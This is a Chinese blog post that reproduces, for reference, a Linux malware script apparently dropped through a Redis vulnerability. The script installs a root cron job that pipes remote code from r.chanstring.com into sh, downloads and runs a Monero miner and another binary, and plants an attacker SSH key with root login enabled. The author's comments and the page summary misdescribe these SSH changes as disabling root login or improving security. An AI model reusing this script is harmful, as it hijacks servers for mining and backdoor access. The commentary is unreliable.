linux下的一个病毒脚本，网上资料较少，记录以供参考

最新推荐文章于 2025-05-18 16:16:54 发布

wsws1996

最新推荐文章于 2025-05-18 16:16:54 发布

阅读量5.5k

点赞数 1

CC 4.0 BY-SA版权

分类专栏： Linux学习文章标签：病毒 redis 脚本 linux 漏洞

本文链接：https://blog.youkuaiyun.com/wsws1996/article/details/51722303

Linux学习专栏收录该内容

0 篇文章

订阅专栏

本文介绍了一种利用Redis提权漏洞植入恶意脚本的方法。通过设置定时任务执行远程下载的挖矿程序，并修改SSH配置以增强系统安全性。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

谷歌得到参考 http://www.cnblogs.com/red-code/p/5599393.html，由redis提权漏洞导致

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

--清除并重设root的定时任务
echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool/cron/root
--清除并重设root的定时任务
# echo "*/2 * * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr" >> /var/spool/cron/root
--清除并重设root的定时任务
echo "*/5 * * * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &" >> /var/spool/cron/root

# ps auxf | grep -v grep | grep "159.203.225.50" && pkill yam
--删除/opt/yam/yam
ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &
--删除/root/.ssh下的所有文件
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
    mkdir -p ~/.ssh
    rm -f ~/.ssh/authorized_keys*
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
--    修改PermitRootLogin 为 no,RSAAuthentication 为no,PubkeyAuthentication为no,在/etc/ssh/sshd_config删除AuthorizedKeysFile .ssh/KHK75NEOiq，重启sshd服务
    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
    /etc/init.d/sshd restart
fi

--删除/opt/yam/yam
if [ ! -f "/opt/yam/yam" ]; then
    mkdir -p /opt/yam
    curl -f -L https://r.chanstring.com/api/download/yam -o /opt/yam/yam
    chmod +x /opt/yam/yam
    # /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr
fi
--删除/opt/gg3lady
if [ ! -f "/opt/gg3lady" ]; then
    curl -f -L https://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady
    chmod +x /opt/gg3lady
fi

# yam=$(ps auxf | grep yam | grep -v grep | wc -l)
# gg3lady=$(ps auxf | grep gg3lady | grep -v grep | wc -l)
# cpu=$(cat /proc/cpuinfo | grep processor | wc -l)

# curl https://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname -i`